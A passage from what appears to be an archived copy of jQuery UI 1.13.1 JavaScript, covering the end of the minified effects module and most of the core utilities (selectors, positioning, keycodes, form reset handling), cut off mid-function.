n.wrap(t),n[0]!==o&&!u.contains(n[0],o)||u(o).trigger("focus"),t=n.parent(),"static"===n.css("position")?(t.css({position:"relative"}),n.css({position:"relative"})):(u.extend(r,{position:n.css("position"),zIndex:n.css("z-index")}),u.each(["top","left","bottom","right"],function(t,e){r[e]=n.css(e),isNaN(parseInt(r[e],10))&&(r[e]="auto")}),n.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),n.css(e),t.css(r).show()},removeWrapper:function(t){var e=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),t[0]!==e&&!u.contains(t[0],e)||u(e).trigger("focus")),t}}),u.extend(u.effects,{version:"1.13.1",define:function(t,e,n){return n||(n=e,e="effect"),u.effects.effect[t]=n,u.effects.effect[t].mode=e,n},scaledDimensions:function(t,e,n){if(0===e)return{height:0,width:0,outerHeight:0,outerWidth:0};var r="horizontal"!==n?(e||100)/100:1,n="vertical"!==n?(e||100)/100:1;return{height:t.height()*n,width:t.width()*r,outerHeight:t.outerHeight()*n,outerWidth:t.outerWidth()*r}},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,n){var r=t.queue();1<e&&r.splice.apply(r,[1,0].concat(r.splice(e,n))),t.dequeue()},saveStyle:function(t){t.data(B,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(B)||"",t.removeData(B)},mode:function(t,e){t=t.is(":hidden");return"toggle"===e&&(e=t?"show":"hide"),e=(t?"hide"===e:"show"===e)?"none":e},getBaseline:function(t,e){var n,r;switch(t[0]){case"top":n=0;break;case"middle":n=.5;break;case"bottom":n=1;break;default:n=t[0]/e.height}switch(t[1]){case"left":r=0;break;case"center":r=.5;break;case"right":r=1;break;default:r=t[1]/e.width}return{x:r,y:n}},createPlaceholder:function(t){var e,n=t.css("position"),r=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(n)&&(n="absolute",e=u("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(j+"placeholder",e)),t.css({position:n,left:r.left,top:r.top}),e},removePlaceholder:function(t){var e=j+"placeholder",n=t.data(e);n&&(n.remove(),t.removeData(e))},cleanUp:function(t){u.effects.restoreStyle(t),u.effects.removePlaceholder(t)},setTransition:function(r,t,o,i){return i=i||{},u.each(t,function(t,e){var n=r.cssUnit(e);0<n[0]&&(i[e]=n[0]*o+n[1])}),i}}),u.fn.extend({effect:function(){function t(t){var e=u(this),n=u.effects.mode(e,a)||i;e.data(I,!0),c.push(n),i&&("show"===n||n===i&&"hide"===n)&&e.show(),i&&"none"===n||u.effects.saveStyle(e),"function"==typeof t&&t()}var r=T.apply(this,arguments),o=u.effects.effect[r.effect],i=o.mode,e=r.queue,n=e||"fx",s=r.complete,a=r.mode,c=[];return u.fx.off||!o?a?this[a](r.duration,s):this.each(function(){s&&s.call(this)}):!1===e?this.each(t).each(f):this.queue(n,t).queue(n,f);function f(t){var e=u(this);function n(){"function"==typeof s&&s.call(e[0]),"function"==typeof t&&t()}r.mode=c.shift(),!1===u.uiBackCompat||i?"none"===r.mode?(e[a](),n()):o.call(e[0],r,function(){e.removeData(I),u.effects.cleanUp(e),"hide"===r.mode&&e.hide(),n()}):(e.is(":hidden")?"hide"===a:"show"===a)?(e[a](),n()):o.call(e[0],r,n)}},show:(_=u.fn.show,function(t){return W(t)?_.apply(this,arguments):((t=T.apply(this,arguments)).mode="show",this.effect.call(this,t))}),hide:(k=u.fn.hide,function(t){return W(t)?k.apply(this,arguments):((t=T.apply(this,arguments)).mode="hide",this.effect.call(this,t))}),toggle:(w=u.fn.toggle,function(t){return W(t)||"boolean"==typeof t?w.apply(this,arguments):((t=T.apply(this,arguments)).mode="toggle",this.effect.call(this,t))}),cssUnit:function(t){var n=this.css(t),r=[];return u.each(["em","px","%","pt"],function(t,e){0<n.indexOf(e)&&(r=[parseFloat(n),e])}),r},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):R(this.css("clip"),this)},transfer:function(t,e){var n=u(this),r=u(t.to),o="fixed"===r.css("position"),i=u("body"),s=o?i.scrollTop():0,i=o?i.scrollLeft():0,a=r.offset(),a={top:a.top-s,left:a.left-i,height:r.innerHeight(),width:r.innerWidth()},r=n.offset(),c=u("<div class='ui-effects-transfer'></div>");c.appendTo("body").addClass(t.className).css({top:r.top-s,left:r.left-i,height:n.innerHeight(),width:n.innerWidth(),position:o?"fixed":"absolute"}).animate(a,t.duration,t.easing,function(){c.remove(),"function"==typeof e&&e()})}}),u.fx.step.clip=function(t){t.clipInit||(t.start=u(t.elem).cssClip(),"string"==typeof t.end&&(t.end=R(t.end,t.elem)),t.clipInit=!0),u(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})},S={},u.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,t){S[t]=function(t){return Math.pow(t,e+2)}}),u.extend(S,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,n=4;t<((e=Math.pow(2,--n))-1)/11;);return 1/Math.pow(4,3-n)-7.5625*Math.pow((3*e-2)/22-t,2)}}),u.each(S,function(t,e){u.easing["easeIn"+t]=e,u.easing["easeOut"+t]=function(t){return 1-e(1-t)},u.easing["easeInOut"+t]=function(t){return t<.5?e(2*t)/2:1-e(-2*t+2)/2}}),u.effects});�����������������������������������������������������������������������������js/jquery/ui/core.js��������������������������������������������������������������������������������0000644�����������������00000137737�14717703502�0010432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery UI - v1.13.1 - 2022-01-20 * http://jqueryui.com * Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.js, safe-blur.js, scroll-parent.js, tabbable.js, unique-id.js, version.js, widget.js * Copyright jQuery Foundation and other contributors; Licensed */ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } ( function( $ ) { "use strict"; // Source: version.js $.ui = $.ui || {}; $.ui.version = "1.13.1"; // Source: data.js /*! * jQuery UI :data 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: :data Selector //>>group: Core //>>description: Selects elements which have data stored under the specified key. //>>docs: http://api.jqueryui.com/data-selector/ $.extend( $.expr.pseudos, { data: $.expr.createPseudo ? $.expr.createPseudo( function( dataName ) { return function( elem ) { return !!$.data( elem, dataName ); }; } ) : // Support: jQuery <1.8 function( elem, i, match ) { return !!$.data( elem, match[ 3 ] ); } } ); // Source: disable-selection.js /*! * jQuery UI Disable Selection 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: disableSelection //>>group: Core //>>description: Disable selection of text content within the set of matched elements. //>>docs: http://api.jqueryui.com/disableSelection/ // This file is deprecated $.fn.extend( { disableSelection: ( function() { var eventType = "onselectstart" in document.createElement( "div" ) ? "selectstart" : "mousedown"; return function() { return this.on( eventType + ".ui-disableSelection", function( event ) { event.preventDefault(); } ); }; } )(), enableSelection: function() { return this.off( ".ui-disableSelection" ); } } ); // Source: focusable.js /*! * jQuery UI Focusable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: :focusable Selector //>>group: Core //>>description: Selects elements which can be focused. //>>docs: http://api.jqueryui.com/focusable-selector/ // Selectors $.ui.focusable = function( element, hasTabindex ) { var map, mapName, img, focusableIfVisible, fieldset, nodeName = element.nodeName.toLowerCase(); if ( "area" === nodeName ) { map = element.parentNode; mapName = map.name; if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) { return false; } img = $( "img[usemap='#" + mapName + "']" ); return img.length > 0 && img.is( ":visible" ); } if ( /^(input|select|textarea|button|object)$/.test( nodeName ) ) { focusableIfVisible = !element.disabled; if ( focusableIfVisible ) { // Form controls within a disabled fieldset are disabled. // However, controls within the fieldset's legend do not get disabled. // Since controls generally aren't placed inside legends, we skip // this portion of the check. fieldset = $( element ).closest( "fieldset" )[ 0 ]; if ( fieldset ) { focusableIfVisible = !fieldset.disabled; } } } else if ( "a" === nodeName ) { focusableIfVisible = element.href || hasTabindex; } else { focusableIfVisible = hasTabindex; } return focusableIfVisible && $( element ).is( ":visible" ) && visible( $( element ) ); }; // Support: IE 8 only // IE 8 doesn't resolve inherit to visible/hidden for computed values function visible( element ) { var visibility = element.css( "visibility" ); while ( visibility === "inherit" ) { element = element.parent(); visibility = element.css( "visibility" ); } return visibility === "visible"; } $.extend( $.expr.pseudos, { focusable: function( element ) { return $.ui.focusable( element, $.attr( element, "tabindex" ) != null ); } } ); // Support: IE8 Only // IE8 does not support the form attribute and when it is supplied. It overwrites the form prop // with a string, so we need to find the proper form. $.fn._form = function() { return typeof this[ 0 ].form === "string" ? this.closest( "form" ) : $( this[ 0 ].form ); }; // Source: form-reset-mixin.js /*! * jQuery UI Form Reset Mixin 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Form Reset Mixin //>>group: Core //>>description: Refresh input widgets when their form is reset //>>docs: http://api.jqueryui.com/form-reset-mixin/ $.ui.formResetMixin = { _formResetHandler: function() { var form = $( this ); // Wait for the form reset to actually happen before refreshing setTimeout( function() { var instances = form.data( "ui-form-reset-instances" ); $.each( instances, function() { this.refresh(); } ); } ); }, _bindFormResetHandler: function() { this.form = this.element._form(); if ( !this.form.length ) { return; } var instances = this.form.data( "ui-form-reset-instances" ) || []; if ( !instances.length ) { // We don't use _on() here because we use a single event handler per form this.form.on( "reset.ui-form-reset", this._formResetHandler ); } instances.push( this ); this.form.data( "ui-form-reset-instances", instances ); }, _unbindFormResetHandler: function() { if ( !this.form.length ) { return; } var instances = this.form.data( "ui-form-reset-instances" ); instances.splice( $.inArray( this, instances ), 1 ); if ( instances.length ) { this.form.data( "ui-form-reset-instances", instances ); } else { this.form .removeData( "ui-form-reset-instances" ) .off( "reset.ui-form-reset" ); } } }; // Source: ie.js // This file is deprecated $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() ); // Source: jquery-patch.js /*! * jQuery UI Support for jQuery core 1.8.x and newer 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * */ //>>label: jQuery 1.8+ Support //>>group: Core //>>description: Support version 1.8.x and newer of jQuery core // Support: jQuery 1.9.x or older // $.expr[ ":" ] is deprecated. if ( !$.expr.pseudos ) { $.expr.pseudos = $.expr[ ":" ]; } // Support: jQuery 1.11.x or older // $.unique has been renamed to $.uniqueSort if ( !$.uniqueSort ) { $.uniqueSort = $.unique; } // Support: jQuery 2.2.x or older. // This method has been defined in jQuery 3.0.0. // Code from https://github.com/jquery/jquery/blob/e539bac79e666bba95bba86d690b4e609dca2286/src/selector/escapeSelector.js if ( !$.escapeSelector ) { // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g; var fcssescape = function( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; }; $.escapeSelector = function( sel ) { return ( sel + "" ).replace( rcssescape, fcssescape ); }; } // Support: jQuery 3.4.x or older // These methods have been defined in jQuery 3.5.0. if ( !$.fn.even || !$.fn.odd ) { $.fn.extend( { even: function() { return this.filter( function( i ) { return i % 2 === 0; } ); }, odd: function() { return this.filter( function( i ) { return i % 2 === 1; } ); } } ); } // Source: keycode.js /*! * jQuery UI Keycode 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Keycode //>>group: Core //>>description: Provide keycodes as keynames //>>docs: http://api.jqueryui.com/jQuery.ui.keyCode/ $.ui.keyCode = { BACKSPACE: 8, COMMA: 188, DELETE: 46, DOWN: 40, END: 35, ENTER: 13, ESCAPE: 27, HOME: 36, LEFT: 37, PAGE_DOWN: 34, PAGE_UP: 33, PERIOD: 190, RIGHT: 39, SPACE: 32, TAB: 9, UP: 38 }; // Source: labels.js /*! * jQuery UI Labels 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: labels //>>group: Core //>>description: Find all the labels associated with a given input //>>docs: http://api.jqueryui.com/labels/ $.fn.labels = function() { var ancestor, selector, id, labels, ancestors; if ( !this.length ) { return this.pushStack( [] ); } // Check control.labels first if ( this[ 0 ].labels && this[ 0 ].labels.length ) { return this.pushStack( this[ 0 ].labels ); } // Support: IE <= 11, FF <= 37, Android <= 2.3 only // Above browsers do not support control.labels. Everything below is to support them // as well as document fragments. control.labels does not work on document fragments labels = this.eq( 0 ).parents( "label" ); // Look for the label based on the id id = this.attr( "id" ); if ( id ) { // We don't search against the document in case the element // is disconnected from the DOM ancestor = this.eq( 0 ).parents().last(); // Get a full set of top level ancestors ancestors = ancestor.add( ancestor.length ? ancestor.siblings() : this.siblings() ); // Create a selector for the label based on the id selector = "label[for='" + $.escapeSelector( id ) + "']"; labels = labels.add( ancestors.find( selector ).addBack( selector ) ); } // Return whatever we have found for labels return this.pushStack( labels ); }; // Source: plugin.js // $.ui.plugin is deprecated. Use $.widget() extensions instead. $.ui.plugin = { add: function( module, option, set ) { var i, proto = $.ui[ module ].prototype; for ( i in set ) { proto.plugins[ i ] = proto.plugins[ i ] || []; proto.plugins[ i ].push( [ option, set[ i ] ] ); } }, call: function( instance, name, args, allowDisconnected ) { var i, set = instance.plugins[ name ]; if ( !set ) { return; } if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) ) { return; } for ( i = 0; i < set.length; i++ ) { if ( instance.options[ set[ i ][ 0 ] ] ) { set[ i ][ 1 ].apply( instance.element, args ); } } } }; // Source: position.js /*! * jQuery UI Position 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/position/ */ //>>label: Position //>>group: Core //>>description: Positions elements relative to other elements. //>>docs: http://api.jqueryui.com/position/ //>>demos: http://jqueryui.com/position/ ( function() { var cachedScrollbarWidth, max = Math.max, abs = Math.abs, rhorizontal = /left|center|right/, rvertical = /top|center|bottom/, roffset = /[\+\-]\d+(\.[\d]+)?%?/, rposition = /^\w+/, rpercent = /%$/, _position = $.fn.position; function getOffsets( offsets, width, height ) { return [ parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ), parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 ) ]; } function parseCss( element, property ) { return parseInt( $.css( element, property ), 10 ) || 0; } function isWindow( obj ) { return obj != null && obj === obj.window; } function getDimensions( elem ) { var raw = elem[ 0 ]; if ( raw.nodeType === 9 ) { return { width: elem.width(), height: elem.height(), offset: { top: 0, left: 0 } }; } if ( isWindow( raw ) ) { return { width: elem.width(), height: elem.height(), offset: { top: elem.scrollTop(), left: elem.scrollLeft() } }; } if ( raw.preventDefault ) { return { width: 0, height: 0, offset: { top: raw.pageY, left: raw.pageX } }; } return { width: elem.outerWidth(), height: elem.outerHeight(), offset: elem.offset() }; } $.position = { scrollbarWidth: function() { if ( cachedScrollbarWidth !== undefined ) { return cachedScrollbarWidth; } var w1, w2, div = $( "<div style=" + "'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>" + "<div style='height:300px;width:auto;'></div></div>" ), innerDiv = div.children()[ 0 ]; $( "body" ).append( div ); w1 = innerDiv.offsetWidth; div.css( "overflow", "scroll" ); w2 = innerDiv.offsetWidth; if ( w1 === w2 ) { w2 = div[ 0 ].clientWidth; } div.remove(); return ( cachedScrollbarWidth = w1 - w2 ); }, getScrollInfo: function( within ) { var overflowX = within.isWindow || within.isDocument ? "" : within.element.css( "overflow-x" ), overflowY = within.isWindow || within.isDocument ? "" : within.element.css( "overflow-y" ), hasOverflowX = overflowX === "scroll" || ( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ), hasOverflowY = overflowY === "scroll" || ( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight ); return { width: hasOverflowY ? $.position.scrollbarWidth() : 0, height: hasOverflowX ? $.position.scrollbarWidth() : 0 }; }, getWithinInfo: function( element ) { var withinElement = $( element || window ), isElemWindow = isWindow( withinElement[ 0 ] ), isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9, hasOffset = !isElemWindow && !isDocument; return { element: withinElement, isWindow: isElemWindow, isDocument: isDocument, offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 }, scrollLeft: withinElement.scrollLeft(), scrollTop: withinElement.scrollTop(), width: withinElement.outerWidth(), height: withinElement.outerHeight() }; } }; $.fn.position = function( options ) { if ( !options || !options.of ) { return _position.apply( this, arguments ); } // Make a copy, we don't want to modify arguments options = $.extend( {}, options ); var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions, // Make sure string options are treated as CSS selectors target = typeof options.of === "string" ? $( document ).find( options.of ) : $( options.of ), within = $.position.getWithinInfo( options.within ), scrollInfo = $.position.getScrollInfo( within ), collision = ( options.collision || "flip" ).split( " " ), offsets = {}; dimensions = getDimensions( target ); if ( target[ 0 ].preventDefault ) { // Force left top to allow flipping options.at = "left top"; } targetWidth = dimensions.width; targetHeight = dimensions.height; targetOffset = dimensions.offset; // Clone to reuse original targetOffset later basePosition = $.extend( {}, targetOffset ); // Force my and at to have valid horizontal and vertical positions // if a value is missing or invalid, it will be converted to center $.each( [ "my", "at" ], function() { var pos = ( options[ this ] || "" ).split( " " ), horizontalOffset, verticalOffset; if ( pos.length === 1 ) { pos = rhorizontal.test( pos[ 0 ] ) ? pos.concat( [ "center" ] ) : rvertical.test( pos[ 0 ] ) ? [ "center" ].concat( pos ) : [ "center", "center" ]; } pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center"; pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center"; // Calculate offsets horizontalOffset = roffset.exec( pos[ 0 ] ); verticalOffset = roffset.exec( pos[ 1 ] ); offsets[ this ] = [ horizontalOffset ? horizontalOffset[ 0 ] : 0, verticalOffset ? verticalOffset[ 0 ] : 0 ]; // Reduce to just the positions without the offsets options[ this ] = [ rposition.exec( pos[ 0 ] )[ 0 ], rposition.exec( pos[ 1 ] )[ 0 ] ]; } ); // Normalize collision option if ( collision.length === 1 ) { collision[ 1 ] = collision[ 0 ]; } if ( options.at[ 0 ] === "right" ) { basePosition.left += targetWidth; } else if ( options.at[ 0 ] === "center" ) { basePosition.left += targetWidth / 2; } if ( options.at[ 1 ] === "bottom" ) { basePosition.top += targetHeight; } else if ( options.at[ 1 ] === "center" ) { basePosition.top += targetHeight / 2; } atOffset = getOffsets( offsets.at, targetWidth, targetHeight ); basePosition.left += atOffset[ 0 ]; basePosition.top += atOffset[ 1 ]; return this.each( function() { var collisionPosition, using, elem = $( this ), elemWidth = elem.outerWidth(), elemHeight = elem.outerHeight(), marginLeft = parseCss( this, "marginLeft" ), marginTop = parseCss( this, "marginTop" ), collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width, collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height, position = $.extend( {}, basePosition ), myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() ); if ( options.my[ 0 ] === "right" ) { position.left -= elemWidth; } else if ( options.my[ 0 ] === "center" ) { position.left -= elemWidth / 2; } if ( options.my[ 1 ] === "bottom" ) { position.top -= elemHeight; } else if ( options.my[ 1 ] === "center" ) { position.top -= elemHeight / 2; } position.left += myOffset[ 0 ]; position.top += myOffset[ 1 ]; collisionPosition = { marginLeft: marginLeft, marginTop: marginTop }; $.each( [ "left", "top" ], function( i, dir ) { if ( $.ui.position[ collision[ i ] ] ) { $.ui.position[ collision[ i ] ][ dir ]( position, { targetWidth: targetWidth, targetHeight: targetHeight, elemWidth: elemWidth, elemHeight: elemHeight, collisionPosition: collisionPosition, collisionWidth: collisionWidth, collisionHeight: collisionHeight, offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ], my: options.my, at: options.at, within: within, elem: elem } ); } } ); if ( options.using ) { // Adds feedback as second argument to using callback, if present using = function( props ) { var left = targetOffset.left - position.left, right = left + targetWidth - elemWidth, top = targetOffset.top - position.top, bottom = top + targetHeight - elemHeight, feedback = { target: { element: target, left: targetOffset.left, top: targetOffset.top, width: targetWidth, height: targetHeight }, element: { element: elem, left: position.left, top: position.top, width: elemWidth, height: elemHeight }, horizontal: right < 0 ? "left" : left > 0 ? "right" : "center", vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle" }; if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) { feedback.horizontal = "center"; } if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) { feedback.vertical = "middle"; } if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) { feedback.important = "horizontal"; } else { feedback.important = "vertical"; } options.using.call( this, props, feedback ); }; } elem.offset( $.extend( position, { using: using } ) ); } ); }; $.ui.position = { fit: { left: function( position, data ) { var within = data.within, withinOffset = within.isWindow ? within.scrollLeft : within.offset.left, outerWidth = within.width, collisionPosLeft = position.left - data.collisionPosition.marginLeft, overLeft = withinOffset - collisionPosLeft, overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset, newOverRight; // Element is wider than within if ( data.collisionWidth > outerWidth ) { // Element is initially over the left side of within if ( overLeft > 0 && overRight <= 0 ) { newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset; position.left += overLeft - newOverRight; // Element is initially over right side of within } else if ( overRight > 0 && overLeft <= 0 ) { position.left = withinOffset; // Element is initially over both left and right sides of within } else { if ( overLeft > overRight ) { position.left = withinOffset + outerWidth - data.collisionWidth; } else { position.left = withinOffset; } } // Too far left -> align with left edge } else if ( overLeft > 0 ) { position.left += overLeft; // Too far right -> align with right edge } else if ( overRight > 0 ) { position.left -= overRight; // Adjust based on position and margin } else { position.left = max( position.left - collisionPosLeft, position.left ); } }, top: function( position, data ) { var within = data.within, withinOffset = within.isWindow ? within.scrollTop : within.offset.top, outerHeight = data.within.height, collisionPosTop = position.top - data.collisionPosition.marginTop, overTop = withinOffset - collisionPosTop, overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset, newOverBottom; // Element is taller than within if ( data.collisionHeight > outerHeight ) { // Element is initially over the top of within if ( overTop > 0 && overBottom <= 0 ) { newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset; position.top += overTop - newOverBottom; // Element is initially over bottom of within } else if ( overBottom > 0 && overTop <= 0 ) { position.top = withinOffset; // Element is initially over both top and bottom of within } else { if ( overTop > overBottom ) { position.top = withinOffset + outerHeight - data.collisionHeight; } else { position.top = withinOffset; } } // Too far up -> align with top } else if ( overTop > 0 ) { position.top += overTop; // Too far down -> align with bottom edge } else if ( overBottom > 0 ) { position.top -= overBottom; // Adjust based on position and margin } else { position.top = max( position.top - collisionPosTop, position.top ); } } }, flip: { left: function( position, data ) { var within = data.within, withinOffset = within.offset.left + within.scrollLeft, outerWidth = within.width, offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left, collisionPosLeft = position.left - data.collisionPosition.marginLeft, overLeft = collisionPosLeft - offsetLeft, overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft, myOffset = data.my[ 0 ] === "left" ? -data.elemWidth : data.my[ 0 ] === "right" ? data.elemWidth : 0, atOffset = data.at[ 0 ] === "left" ? data.targetWidth : data.at[ 0 ] === "right" ? -data.targetWidth : 0, offset = -2 * data.offset[ 0 ], newOverRight, newOverLeft; if ( overLeft < 0 ) { newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset; if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) { position.left += myOffset + atOffset + offset; } } else if ( overRight > 0 ) { newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft; if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) { position.left += myOffset + atOffset + offset; } } }, top: function( position, data ) { var within = data.within, withinOffset = within.offset.top + within.scrollTop, outerHeight = within.height, offsetTop = within.isWindow ? within.scrollTop : within.offset.top, collisionPosTop = position.top - data.collisionPosition.marginTop, overTop = collisionPosTop - offsetTop, overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop, top = data.my[ 1 ] === "top", myOffset = top ? -data.elemHeight : data.my[ 1 ] === "bottom" ? data.elemHeight : 0, atOffset = data.at[ 1 ] === "top" ? data.targetHeight : data.at[ 1 ] === "bottom" ? -data.targetHeight : 0, offset = -2 * data.offset[ 1 ], newOverTop, newOverBottom; if ( overTop < 0 ) { newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset; if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) { position.top += myOffset + atOffset + offset; } } else if ( overBottom > 0 ) { newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop; if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) { position.top += myOffset + atOffset + offset; } } } }, flipfit: { left: function() { $.ui.position.flip.left.apply( this, arguments ); $.ui.position.fit.left.apply( this, arguments ); }, top: function() { $.ui.position.flip.top.apply( this, arguments ); $.ui.position.fit.top.apply( this, arguments ); } } }; } )(); // Source: safe-active-element.js $.ui.safeActiveElement = function( document ) { var activeElement; // Support: IE 9 only // IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe> try { activeElement = document.activeElement; } catch ( error ) { activeElement = document.body; } // Support: IE 9 - 11 only // IE may return null instead of an element // Interestingly, this only seems to occur when NOT in an iframe if ( !activeElement ) { activeElement = document.body; } // Support: IE 11 only // IE11 returns a seemingly empty object in some cases when accessing // document.activeElement from an <iframe> if ( !activeElement.nodeName ) { activeElement = document.body; } return activeElement; }; // Source: safe-blur.js $.ui.safeBlur = function( element ) { // Support: IE9 - 10 only // If the <body> is blurred, IE will switch windows, see #9420 if ( element && element.nodeName.toLowerCase() !== "body" ) { $( element ).trigger( "blur" ); } }; // Source: scroll-parent.js /*! * jQuery UI Scroll Parent 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: scrollParent //>>group: Core //>>description: Get the closest ancestor element that is scrollable. //>>docs: http://api.jqueryui.com/scrollParent/ $.fn.scrollParent = function( includeHidden ) { var position = this.css( "position" ), excludeStaticParent = position === "absolute", overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/, scrollParent = this.parents().filter( function() { var parent = $( this ); if ( excludeStaticParent && parent.css( "position" ) === "static" ) { return false; } return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) + parent.css( "overflow-x" ) ); } ).eq( 0 ); return position === "fixed" || !scrollParent.length ? $( this[ 0 ].ownerDocument || document ) : scrollParent; }; // Source: tabbable.js /*! * jQuery UI Tabbable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: :tabbable Selector //>>group: Core //>>description: Selects elements which can be tabbed to. //>>docs: http://api.jqueryui.com/tabbable-selector/ $.extend( $.expr.pseudos, { tabbable: function( element ) { var tabIndex = $.attr( element, "tabindex" ), hasTabindex = tabIndex != null; return ( !hasTabindex || tabIndex >= 0 ) && $.ui.focusable( element, hasTabindex ); } } ); // Source: unique-id.js /*! * jQuery UI Unique ID 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: uniqueId //>>group: Core //>>description: Functions to generate and remove uniqueId's //>>docs: http://api.jqueryui.com/uniqueId/ $.fn.extend( { uniqueId: ( function() { var uuid = 0; return function() { return this.each( function() { if ( !this.id ) { this.id = "ui-id-" + ( ++uuid ); } } ); }; } )(), removeUniqueId: function() { return this.each( function() { if ( /^ui-id-\d+$/.test( this.id ) ) { $( this 